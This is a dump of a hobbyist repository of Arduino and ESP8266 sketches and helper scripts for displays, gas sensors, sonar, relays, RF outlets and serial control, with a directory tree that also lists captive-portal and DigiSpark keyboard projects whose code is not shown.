├── ESP8266 ├── wemos │ ├── BasicButtonWebClient │ │ ├── www │ │ │ ├── photos.dat │ │ │ ├── photos │ │ │ │ ├── 0.jpg │ │ │ │ ├── 1.jpg │ │ │ │ ├── 2.jpg │ │ │ │ ├── 3.jpg │ │ │ │ ├── 4.jpg │ │ │ │ ├── 5.jpg │ │ │ │ ├── 6.jpg │ │ │ │ ├── 7.jpg │ │ │ │ ├── 8.jpg │ │ │ │ └── 9.jpg │ │ │ ├── cgi-bin │ │ │ │ └── random.cgi │ │ │ └── photos.html │ │ └── BasicButtonWebClient.ino │ ├── RelayBasic │ │ └── RelayBasic.ino │ ├── BasicButtonPress │ │ └── BasicButtonPress.ino │ └── RelayWebServer │ │ └── RelayWebServer.ino ├── Displays │ ├── 7SegmentDisplay │ │ ├── ReadMe.txt │ │ ├── serialControl │ │ │ ├── test.sh │ │ │ ├── test2.sh │ │ │ └── serialControl.ino │ │ ├── ScollingText │ │ │ └── ScollingText.ino │ │ └── BasicWebServer │ │ │ └── BasicWebServer.ino │ ├── Matrix │ │ ├── MatrixPortal │ │ │ ├── Notes.h │ │ │ ├── DNSServer.h │ │ │ ├── MatrixPortal.ino │ │ │ ├── DNSServer.cpp │ │ │ └── chars.h │ │ └── matrixScrollingText │ │ │ └── matrixScrollingText.ino │ ├── oled_all-in-one │ │ ├── BasicDemo │ │ │ └── BasicDemo.ino │ │ ├── ImageDemo │ │ │ ├── img.h │ │ │ └── ImageDemo.ino │ │ ├── PretendLinuxBoot │ │ │ ├── img.h │ │ │ └── PretendLinuxBoot.ino │ │ └── BasicHTTPDemo │ │ │ └── BasicHTTPDemo.ino │ ├── SPI 1.8 TFT │ │ └── graphicstest │ │ │ └── graphicstest.ino │ └── Nokia5110 │ │ ├── ImgTux │ │ └── ImgTux.ino │ │ └── Text │ │ └── Text.ino ├── GasSmoke │ └── GasSmoke_Alarm │ │ ├── webpage │ │ └── index.html │ │ └── GasSmoke_Alarm.ino ├── CaptivePortal │ ├── Notes.h │ ├── CaptivePortal.ino │ ├── DNSServer.h │ └── DNSServer.cpp ├── EvilPortal │ ├── Notes.h │ ├── EvilPortal.ino │ ├── DNSServer.h │ └── DNSServer.cpp ├── loadESP_Linux.sh ├── RadioTX-RX │ ├── SwitchReceiver │ │ └── SwitchReceiver.ino │ └── Outlets │ │ └── Outlets.ino ├── Motors │ └── BasicServoWebHost │ │ └── BasicServoWebHost.ino ├── WaterSwitch │ └── WaterSwitch.ino ├── Sonar │ ├── Basic_Webserver │ │ └── Basic_Webserver.ino │ └── BasicNoLibs_Inches │ │ └── BasicNoLibs_Inches.ino └── IR │ └── IRrecvWebDump │ └── IRrecvWebDump.ino ├── README.md ├── libs ├── MaxMatrix.zip ├── NewPing_v1.7.zip ├── Talkie-FIX-master.zip ├── TinyGPSPlus-0.94b.zip ├── rc-switch-master.zip ├── TFTLCD-Library-master.zip ├── Adafruit_ILI9340-master.zip └── Touch-Screen-Library-master.zip ├── Arduino ├── Displays │ ├── LEDDisplay │ │ ├── 7segment │ │ │ └── serialControl │ │ │ │ ├── test.sh │ │ │ │ ├── test2.sh │ │ │ │ └── serialControl.ino │ │ └── matrix │ │ │ ├── LCDemoMatrix │ │ │ └── LCDemoMatrix.ino │ │ │ └── matrixScrollingText │ │ │ └── matrixScrollingText.ino │ ├── 0.96 I2C IIC 128x64 OLED │ │ └── scrollingtext │ │ │ └── scrollingtext.ino │ ├── LCD_Display │ │ ├── 16pin │ │ │ ├── _16pinHelloWorld │ │ │ │ └── _16pinHelloWorld.ino │ │ │ ├── Scroll │ │ │ │ └── Scroll.ino │ │ │ └── CustomCharacter │ │ │ │ └── CustomCharacter.ino │ │ └── 1.8_SPI_TFT │ │ │ └── basic │ │ │ └── basic.ino │ └── Nokia5110 │ │ ├── ImgTux │ │ └── ImgTux.ino │ │ ├── Text │ │ └── Text.ino │ │ └── AdaGFXtest │ │ └── AdaGFXtest.ino ├── GasSmoke │ ├── GasMonitor_Basic │ │ └── GasMonitor_Basic.ino │ ├── GasSmoke_Digital │ │ └── GasSmoke_Digital.ino │ └── GasMonitor_PPM_Basic │ │ └── GasMonitor_PPM_Basic.ino ├── Sounds │ ├── BasicNotes │ │ ├── BasicNotes.ino │ │ └── pitches.h │ └── NIN_Closer │ │ ├── NIN_Closer.ino │ │ └── pitches.h ├── Wireless │ └── 315-433mhz │ │ └── ToggleOutlet │ │ └── ToggleOutlet.ino ├── Sonar │ ├── BasicPing │ │ └── BasicPing.ino │ ├── BasicPingDigitsOnly │ │ └── BasicPingDigitsOnly.ino │ └── BasicNoLibs_Inches │ │ └── BasicNoLibs_Inches.ino ├── MotionSensors │ └── basic │ │ └── basic.ino ├── GPS │ └── TinyGPSPlus │ │ └── TinyGPSPlus.ino └── RFID │ └── ReadUidToSerial │ └── ReadUidToSerial.ino └── DigiSpark └── keyboard └── Windows ├── PS_Webserver └── PS_Webserver.ino └── Add_Admin └── Add_Admin.ino /ESP8266/wemos/BasicButtonWebClient/www/photos.dat: -------------------------------------------------------------------------------- 1 | 6 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hardware 2 | Code for my Hardware Projects such as the Arduino and ESP8266 3 | -------------------------------------------------------------------------------- /libs/MaxMatrix.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/MaxMatrix.zip -------------------------------------------------------------------------------- /libs/NewPing_v1.7.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/NewPing_v1.7.zip -------------------------------------------------------------------------------- /libs/Talkie-FIX-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/Talkie-FIX-master.zip -------------------------------------------------------------------------------- /libs/TinyGPSPlus-0.94b.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/TinyGPSPlus-0.94b.zip -------------------------------------------------------------------------------- /libs/rc-switch-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/rc-switch-master.zip -------------------------------------------------------------------------------- /libs/TFTLCD-Library-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/TFTLCD-Library-master.zip -------------------------------------------------------------------------------- /libs/Adafruit_ILI9340-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/Adafruit_ILI9340-master.zip -------------------------------------------------------------------------------- /libs/Touch-Screen-Library-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/libs/Touch-Screen-Library-master.zip -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/0.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/0.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/1.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/2.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/3.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/4.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/5.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/6.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/7.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/8.jpg -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/photos/9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/metalx1000/Hardware/HEAD/ESP8266/wemos/BasicButtonWebClient/www/photos/9.jpg -------------------------------------------------------------------------------- /ESP8266/Displays/7SegmentDisplay/ReadMe.txt: -------------------------------------------------------------------------------- 1 | For uses with a MAX7219 LED Dot matrix 8-Digit Digital Display Control Module 2 | Load LedControl with Library Manager 3 | -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonWebClient/www/cgi-bin/random.cgi: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | echo "Content-type: text/plain\n" 3 | 4 | r=$(shuf -i0-9 -n1) 5 | echo "$r" 6 | echo "$r" > ../photos.dat 7 | -------------------------------------------------------------------------------- /ESP8266/Displays/7SegmentDisplay/serialControl/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Setting up ttyUSB connection..." 4 | stty raw -echo < /dev/ttyUSB0 5 | 6 | echo "Sending Integers..." 7 | while [ 1 ] 8 | do 9 | for i in `seq 0 9` 10 | do 11 | for x in `seq 0 9` 12 | do 13 | echo $i > /dev/ttyUSB0 14 | echo -n "$i " 15 | sleep .05 16 | done 17 | echo " " 18 | done 19 | done 20 | -------------------------------------------------------------------------------- /Arduino/Displays/LEDDisplay/7segment/serialControl/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Setting up ttyUSB connection..." 4 | stty raw -echo < /dev/ttyUSB0 5 | 6 | echo "Sending Integers..." 7 | while [ 1 ] 8 | do 9 | for i in `seq 0 9` 10 | do 11 | for x in `seq 0 9` 12 | do 13 | echo $i > /dev/ttyUSB0 14 | echo -n "$i " 15 | sleep .05 16 | done 17 | echo " " 18 | done 19 | done 20 | -------------------------------------------------------------------------------- /Arduino/Displays/LEDDisplay/7segment/serialControl/test2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Setting up ttyUSB connection..." 4 | stty raw -echo < /dev/ttyUSB0 5 | 6 | echo "Sending Integers..." 7 | while [ 1 ] 8 | do 9 | for i in `seq 0 9` 10 | do 11 | for x in `seq 0 9` 12 | do 13 | echo $x > /dev/ttyUSB0 14 | echo -n "$x " 15 | sleep .05 16 | done 17 | echo " " 18 | done 19 | done 20 | -------------------------------------------------------------------------------- /ESP8266/Displays/7SegmentDisplay/serialControl/test2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Setting up ttyUSB connection..." 4 | stty raw -echo < /dev/ttyUSB0 5 | 6 | echo "Sending Integers..." 7 | while [ 1 ] 8 | do 9 | for i in `seq 0 9` 10 | do 11 | for x in `seq 0 9` 12 | do 13 | echo $x > /dev/ttyUSB0 14 | echo -n "$x " 15 | sleep .05 16 | done 17 | echo " " 18 | done 19 | done 20 | -------------------------------------------------------------------------------- /ESP8266/GasSmoke/GasSmoke_Alarm/webpage/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 |

17 | 18 | 19 | -------------------------------------------------------------------------------- /ESP8266/CaptivePortal/Notes.h: -------------------------------------------------------------------------------- 1 | /* 2 | * References: 3 | * https://github.com/esp8266/Arduino/blob/esp8266/hardware/esp8266com/esp8266/libraries/DNSServer/examples/CaptivePortal/CaptivePortal.ino 4 | * Similar: http://www.esp8266.com/viewtopic.php?f=32&t=3618&p=23900#p23900 5 | */ 6 | 7 | /* 8 | * Notes: 9 | * This Sketch is for Arduino 1.6.6 daily build 10 | * The DNSServer.cpp and DNSServer.h tabs are bound to the sketch 11 | * As the Arduino ESP8266 repository as of this time has not been 12 | * Patched for the DNS bug 13 | * 14 | * All files must be in a single Sketch folder 15 | */ 16 | 17 | 18 | -------------------------------------------------------------------------------- /ESP8266/EvilPortal/Notes.h: -------------------------------------------------------------------------------- 1 | /* 2 | * References: 3 | * https://github.com/esp8266/Arduino/blob/esp8266/hardware/esp8266com/esp8266/libraries/DNSServer/examples/CaptivePortal/CaptivePortal.ino 4 | * Similar: http://www.esp8266.com/viewtopic.php?f=32&t=3618&p=23900#p23900 5 | */ 6 | 7 | /* 8 | * Notes: 9 | * This Sketch is for Arduino 1.6.6 daily build 10 | * The DNSServer.cpp and DNSServer.h tabs are bound to the sketch 11 | * As the Arduino ESP8266 repository as of this time has not been 12 | * Patched for the DNS bug 13 | * 14 | * All files must be in a single Sketch folder 15 | */ 16 | 17 | 18 | -------------------------------------------------------------------------------- /ESP8266/Displays/Matrix/MatrixPortal/Notes.h: -------------------------------------------------------------------------------- 1 | /* 2 | * References: 3 | * https://github.com/esp8266/Arduino/blob/esp8266/hardware/esp8266com/esp8266/libraries/DNSServer/examples/CaptivePortal/CaptivePortal.ino 4 | * Similar: http://www.esp8266.com/viewtopic.php?f=32&t=3618&p=23900#p23900 5 | */ 6 | 7 | /* 8 | * Notes: 9 | * This Sketch is for Arduino 1.6.6 daily build 10 | * The DNSServer.cpp and DNSServer.h tabs are bound to the sketch 11 | * As the Arduino ESP8266 repository as of this time has not been 12 | * Patched for the DNS bug 13 | * 14 | * All files must be in a single Sketch folder 15 | */ 16 | 17 | 18 | -------------------------------------------------------------------------------- /Arduino/GasSmoke/GasMonitor_Basic/GasMonitor_Basic.ino: -------------------------------------------------------------------------------- 1 | /* Testing MQ-2 GAS sensor with serial monitor 2 | Suitable for detecting of LPG, i-butane, propane, methane ,alcohol, Hydrogen or smoke 3 | More info: http://www.ardumotive.com/how-to-use-mq2-gas-sensor-en.html 4 | Dev: Michalis Vasilakis // Date: 11/6/2015 // www.ardumotive.com */ 5 | 6 | const int gasPin = A0; //GAS sensor output pin to Arduino analog A0 pin 7 | 8 | 9 | void setup() 10 | { 11 | Serial.begin(9600); //Initialize serial port - 9600 bps 12 | } 13 | 14 | void loop() 15 | { 16 | Serial.println(analogRead(gasPin)); 17 | delay(1000); // Print value every 1 sec. 18 | } 19 | -------------------------------------------------------------------------------- /Arduino/Sounds/BasicNotes/BasicNotes.ino: -------------------------------------------------------------------------------- 1 | // Connect VCC to +4V 2 | // Connect GND to Ground 3 | // Connect RX (data into SIM800L) to Digital 11 4 | // Connect TX (data out from SIM800L) to Digital 10 5 | 6 | #include 7 | 8 | SoftwareSerial mySerial(10, 11); // RX, TX 9 | 10 | void setup() 11 | { 12 | // Open serial communications and wait for port to open: 13 | Serial.begin(9600); 14 | mySerial.begin(9600); 15 | 16 | } 17 | 18 | void loop() // run over and over 19 | { 20 | if (mySerial.available()) 21 | Serial.write(mySerial.read()); 22 | 23 | if (Serial.available()) 24 | { 25 | while(Serial.available()) 26 | { 27 | mySerial.write(Serial.read()); 28 | } 29 | mySerial.println(); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /ESP8266/Displays/7SegmentDisplay/ScollingText/ScollingText.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define DISP_DATA_PIN 5 4 | #define DISP_CLOCK_PIN 4 5 | #define DISP_BLANK_PIN 2 6 | 7 | HC4LED disp(DISP_CLOCK_PIN, DISP_DATA_PIN, DISP_BLANK_PIN, true); 8 | 9 | void setup() 10 | { 11 | // Why do you think I don't say "hello world" here? :) 12 | disp.scroll_text("hello happy place ", 1000); 13 | disp.scroll_text("0123456789-' ", 2000); 14 | disp.display_text("hi", 1000); 15 | disp.set_upside_down(false); 16 | disp.display_text("hi", 1000); 17 | disp.set_upside_down(true); 18 | } 19 | 20 | void loop() 21 | { 22 | // display a count of seconds since the computer started 23 | disp.display_number((unsigned short)(millis() / 1000)); 24 | delay(1000); 25 | } 26 | -------------------------------------------------------------------------------- /Arduino/Wireless/315-433mhz/ToggleOutlet/ToggleOutlet.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Example for different sending methods 3 | For Zapp Outlet Plugs 4 | https://github.com/sui77/rc-switch/ 5 | 6 | */ 7 | 8 | #include 9 | 10 | RCSwitch mySwitch = RCSwitch(); 11 | 12 | void setup() { 13 | 14 | Serial.begin(9600); 15 | 16 | // Transmitter is connected to Arduino Pin #10 17 | mySwitch.enableTransmit(10); 18 | mySwitch.setPulseLength(185); 19 | 20 | // Optional set protocol (default is 1, will work for most outlets) 21 | // mySwitch.setProtocol(2); 22 | 23 | // Optional set number of transmission repetitions. 24 | // mySwitch.setRepeatTransmit(15); 25 | 26 | } 27 | 28 | void loop() { 29 | 30 | 31 | /* Same switch as above, but using decimal code */ 32 | mySwitch.send(89347, 24); 33 | delay(1000); 34 | mySwitch.send(89356, 24); 35 | delay(1000); 36 | 37 | 38 | } 39 | -------------------------------------------------------------------------------- /ESP8266/loadESP_Linux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #ESP8266 Basic Arduino IDE setup 3 | #pin layout diagram 4 | xdg-open "http://www.cnx-software.com/wp-content/uploads/2015/10/NodeMCU_v0.9_Pinout.png" 5 | #Instructions from 6 | xdg-open "http://www.whatimade.today/esp8266-easiest-way-to-program-so-far/" 7 | 8 | #download the latest IDE - https://www.arduino.cc/en/Main/Software 9 | wget "https://downloads.arduino.cc/arduino-1.6.9-linux64.tar.xz" -O arduinoIDE.tar.xz 10 | 11 | #extract 12 | tar xf arduinoIDE.tar.xz 13 | cd arduino-* 14 | 15 | echo "Go to File --> Preferences and add the link http://arduino.esp8266.com/stable/package_esp8266com_index.json to the Additional Boards Manager URLS." 16 | echo "Then Go to Tools --> Board --> Boards manager and search for esp" 17 | ./arduino 18 | 19 | ./.arduino15/packages/esp8266/hardware/esp8266/2.3.0/cores/esp8266/ 20 | #Pin 16 is the on board LED 21 | #The default Blink program example for the ESP8266 has the wrong pin set for this model 22 | ####Hold Down Flash button on board until uploading starts### 23 | -------------------------------------------------------------------------------- /ESP8266/wemos/RelayBasic/RelayBasic.ino: -------------------------------------------------------------------------------- 1 | /* 2 | ESP8266 Blink by Simon Peter 3 | Blink the blue LED on the ESP-01 module 4 | This example code is in the public domain 5 | 6 | The blue LED on the ESP-01 module is connected to GPIO1 7 | (which is also the TXD pin; so we cannot use Serial.print() at the same time) 8 | 9 | Note that this sketch uses LED_BUILTIN to find the pin with the internal LED 10 | Modified for relay by Kris Occhipinti http://filmsbykris.com 11 | */ 12 | 13 | const int Relay = 5; 14 | 15 | void setup() { 16 | pinMode(LED_BUILTIN, OUTPUT); // Initialize the LED_BUILTIN pin as an output 17 | pinMode(Relay, OUTPUT); 18 | } 19 | 20 | // the loop function runs over and over again forever 21 | void loop() { 22 | digitalWrite(LED_BUILTIN, LOW); 23 | digitalWrite(Relay, LOW); 24 | 25 | delay(1000); 26 | digitalWrite(LED_BUILTIN, HIGH); 27 | digitalWrite(Relay, HIGH); 28 | delay(2000); 29 | } 30 | -------------------------------------------------------------------------------- /Arduino/GasSmoke/GasSmoke_Digital/GasSmoke_Digital.ino: -------------------------------------------------------------------------------- 1 | /* GAS Sensor MQ-2 2 | This sensor detects flammable gasses 3 | the board has four pins 4 | connect AO to Arduino pin A0 5 | connect DO to Arduino pin 2 6 | connect Gnd to Arduino Gnd 7 | connect Vcc to Arduino 5 volts 8 | */ 9 | 10 | int sensorPin = A0; // select the input pin for the potentiometer 11 | int DOPin = 2; // select the pin for the LED 12 | int sensorValue = 0; // variable to store the value coming from the sensor 13 | int ledPin =13; 14 | 15 | void setup() { 16 | // declare the ledPin as an OUTPUT: 17 | pinMode(DOPin, INPUT); 18 | pinMode(ledPin, OUTPUT); 19 | Serial.begin(9600); 20 | } 21 | 22 | 23 | void loop() { 24 | // read the value from the sensor: 25 | sensorValue = analogRead(sensorPin); 26 | Serial.print("Analog Output = "); 27 | Serial.println(sensorValue); 28 | // turn the ledPin on if triggered 29 | // 30 | if (digitalRead(DOPin) ==HIGH){ 31 | digitalWrite(ledPin, LOW); 32 | Serial.println("Digital Output = OFF"); 33 | } 34 | else { 35 | digitalWrite(ledPin, HIGH); 36 | Serial.println("Digital Output = ON"); 37 | } 38 | delay(1000); 39 | } 40 | -------------------------------------------------------------------------------- /Arduino/Sonar/BasicPing/BasicPing.ino: -------------------------------------------------------------------------------- 1 | // --------------------------------------------------------------------------- 2 | // Example NewPing library sketch that does a ping about 20 times per second. 3 | // --------------------------------------------------------------------------- 4 | 5 | #include 6 | 7 | #define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on the ultrasonic sensor. 8 | #define ECHO_PIN 11 // Arduino pin tied to echo pin on the ultrasonic sensor. 9 | #define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. 10 | 11 | NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. 12 | 13 | void setup() { 14 | Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. 15 | } 16 | 17 | void loop() { 18 | delay(50); // Wait 50ms between pings (about 20 pings/sec). 29ms should be the shortest delay between pings. 19 | unsigned int uS = sonar.ping(); // Send ping, get ping time in microseconds (uS). 20 | Serial.print("Ping: "); 21 | Serial.print(uS / US_ROUNDTRIP_CM); // Convert ping time to distance and print result (0 = outside set distance range, no ping echo) 22 | Serial.println("cm"); 23 | } 24 | -------------------------------------------------------------------------------- /Arduino/Sonar/BasicPingDigitsOnly/BasicPingDigitsOnly.ino: -------------------------------------------------------------------------------- 1 | // --------------------------------------------------------------------------- 2 | // Example NewPing library sketch that does a ping about 20 times per second. 3 | // --------------------------------------------------------------------------- 4 | 5 | #include 6 | 7 | #define TRIGGER_PIN 2 // Arduino pin tied to trigger pin on the ultrasonic sensor. 8 | #define ECHO_PIN 3 // Arduino pin tied to echo pin on the ultrasonic sensor. 9 | #define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. 10 | 11 | NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. 12 | 13 | void setup() { 14 | Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. 15 | } 16 | 17 | void loop() { 18 | delay(50); // Wait 50ms between pings (about 20 pings/sec). 29ms should be the shortest delay between pings. 19 | unsigned int uS = sonar.ping(); // Send ping, get ping time in microseconds (uS). 20 | //Serial.print("Ping: "); 21 | Serial.println(uS / US_ROUNDTRIP_CM); // Convert ping time to distance and print result (0 = outside set distance range, no ping echo) 22 | //Serial.println("cm"); 23 | } 24 | -------------------------------------------------------------------------------- /ESP8266/RadioTX-RX/SwitchReceiver/SwitchReceiver.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Code by Kris Occhipinti 3 | Flip switch on RF signal 4 | GPLv3 August 21, 2016 5 | http://filmsbykris.com 6 | Based on library https://github.com/sui77/rc-switch/ 7 | 8 | Switch output GPIO#13 - D7 9 | RF recevier GPIO#0 - D3 10 | 11 | */ 12 | 13 | 14 | #include 15 | int pinSW = 13; //Our Swith ESP D7 16 | int led = 16; 17 | 18 | RCSwitch mySwitch = RCSwitch(); 19 | 20 | void setup() { 21 | pinMode(pinSW, OUTPUT); 22 | pinMode(led, OUTPUT); 23 | Serial.begin(9600); 24 | Serial.println("Welcome"); 25 | mySwitch.enableReceive(0); // Receiver on interrupt 0 => that is D3 or GPIO pin #0 26 | } 27 | 28 | void loop() { 29 | if (mySwitch.available()) { 30 | 31 | int value = mySwitch.getReceivedValue(); 32 | 33 | if (value == 0) { 34 | Serial.print("Unknown encoding"); 35 | } else { 36 | if(mySwitch.getReceivedValue() == 89347){ 37 | Serial.println("Unlock"); 38 | digitalWrite(pinSW, HIGH); 39 | digitalWrite(led, HIGH); // turn the LED on (HIGH is the voltage level) 40 | delay(2000); // wait for a second 41 | digitalWrite(pinSW, LOW); 42 | digitalWrite(led, LOW);// turn the LED off by making the voltage LOW 43 | delay(1000); 44 | } 45 | } 46 | 47 | mySwitch.resetAvailable(); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /ESP8266/wemos/BasicButtonPress/BasicButtonPress.ino: -------------------------------------------------------------------------------- 1 | const int buttonPin = 0; // D3 on Wemos is GPIO0 2 | const int ledPin = 2; // D4 on the Wemos is the builtin LED - GPIO2 3 | int t = 0; // Prevents false presses by counting loops while button is pressed 4 | int tl = 50; // Number of loops before button is pressed 5 | int d = 1000; //delay between presses to prevent triggering more than once 6 | 7 | int buttonState = 0; // variable for reading the pushbutton status 8 | 9 | void setup() { 10 | Serial.begin(115200); 11 | 12 | // initialize the LED pin as an output: 13 | pinMode(ledPin, OUTPUT); 14 | // initialize the pushbutton pin as an input: 15 | pinMode(buttonPin, INPUT); 16 | } 17 | 18 | void loop() { 19 | // read the state of the pushbutton value: 20 | buttonState = digitalRead(buttonPin); 21 | 22 | // check if button is pressed. 23 | //button not pressed 24 | if (buttonState == HIGH) { 25 | // turn LED off: 26 | digitalWrite(ledPin, HIGH); 27 | t=0; 28 | //Serial.println("High"); 29 | //button pressed 30 | } else { 31 | //if button is pressed for long enough then trigger 32 | if(t == tl){ 33 | // turn LED on: 34 | digitalWrite(ledPin, LOW); 35 | Serial.println("Button Pressed"); 36 | delay(d); 37 | }else{ 38 | t++; 39 | } 40 | } 41 | 42 | 43 | } 44 | -------------------------------------------------------------------------------- /Arduino/Sounds/NIN_Closer/NIN_Closer.ino: -------------------------------------------------------------------------------- 1 | /* 2 | NIN Closer 3 | GPLv3 - August 17th, 2016 4 | Plays The Medoly from the end of Closer by Trent Reznor 5 | Created by Kris Occhipinti 6 | 7 | Based on code by Tom Igoe 8 | Connect Speaker to Pin#8 and Ground on your Arduino 9 | 10 | http://www.arduino.cc/en/Tutorial/Tone 11 | 12 | */ 13 | #include "pitches.h" 14 | 15 | // notes in the melody: 16 | int melody[] = { 17 | NOTE_G4, NOTE_F4, NOTE_F4, NOTE_E4, NOTE_E4, NOTE_D4, NOTE_B3, NOTE_B3, NOTE_A3, NOTE_C4, NOTE_C3 18 | }; 19 | 20 | // note durations: 4 = quarter note, 8 = eighth note, etc.: 21 | int noteDurations[] = { 22 | 2, 1, 2, 1, 2, 1, 4, 4, 4, 4, 1 23 | }; 24 | 25 | void setup() { 26 | // iterate over the notes of the melody: 27 | for (int thisNote = 0; thisNote < 11; thisNote++) { 28 | 29 | // to calculate the note duration, take one second 30 | // divided by the note type. 31 | //e.g. quarter note = 1000 / 4, eighth note = 1000/8, etc. 32 | int noteDuration = 1000 / noteDurations[thisNote]; 33 | tone(8, melody[thisNote], noteDuration); 34 | 35 | // to distinguish the notes, set a minimum time between them. 36 | // the note's duration + 30% seems to work well: 37 | int pauseBetweenNotes = noteDuration * 1.30; 38 | delay(pauseBetweenNotes); 39 | // stop the tone playing: 40 | noTone(8); 41 | } 42 | } 43 | 44 | void loop() { 45 | // no need to repeat the melody. 46 | } 47 | -------------------------------------------------------------------------------- /Arduino/Displays/LEDDisplay/7segment/serialControl/serialControl.ino: -------------------------------------------------------------------------------- 1 | #include "LedControl.h" 2 | String inString = ""; 3 | int pos = 0; 4 | // Arduino Pin 12 to DIN, 11 to Clk, 10 to LOAD, no.of devices is 1 5 | LedControl lc = LedControl(12,11,10,1); 6 | void setup() { 7 | Serial.begin(115200); 8 | // Initialize the MAX7219 device 9 | lc.shutdown(0, false); // Enable display 10 | lc.setIntensity(0, 10); // Set brightness level (0 is min, 15 is max) 11 | lc.clearDisplay(0); // Clear display register 12 | for (int i = 0; i < 8; i++) { 13 | lc.setDigit(0, i, i + 1, false); 14 | } 15 | } 16 | void loop() { 17 | 18 | // send data only when you receive data: 19 | if (Serial.available() > 0) { 20 | int inChar = Serial.read(); 21 | if (isDigit(inChar)) { 22 | inString = (char) inChar; 23 | } 24 | 25 | if (inChar == '\n') { 26 | int x = inString.toInt(); 27 | Serial.print("I received: "); 28 | Serial.println(x); 29 | lc.setDigit(0, pos, x, false); 30 | pos++; 31 | if (pos > 7) { 32 | pos = 0; 33 | } 34 | } 35 | } 36 | } 37 | 38 | //To connect through Linux Shell 39 | //stty raw -echo < /dev/ttyUSB0 #activate connection 40 | //while [ 1 ];do for i in `seq 0 9`;do for x in `seq 0 9`;do echo $i > /dev/ttyUSB0;sleep .05;done;done;done #this loops through all digits 41 | -------------------------------------------------------------------------------- /Arduino/MotionSensors/basic/basic.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Arduino with PIR motion sensor 3 | For complete project details, visit: http://RandomNerdTutorials.com/pirsensor 4 | Modified by Rui Santos based on PIR sensor by Limor Fried 5 | */ 6 | 7 | int led = 13; // the pin that the LED is atteched to 8 | int sensor = 2; // the pin that the sensor is atteched to 9 | int state = LOW; // by default, no motion detected 10 | int val = 0; // variable to store the sensor status (value) 11 | 12 | void setup() { 13 | pinMode(led, OUTPUT); // initalize LED as an output 14 | pinMode(sensor, INPUT); // initialize sensor as an input 15 | Serial.begin(9600); // initialize serial 16 | } 17 | 18 | void loop(){ 19 | val = digitalRead(sensor); // read 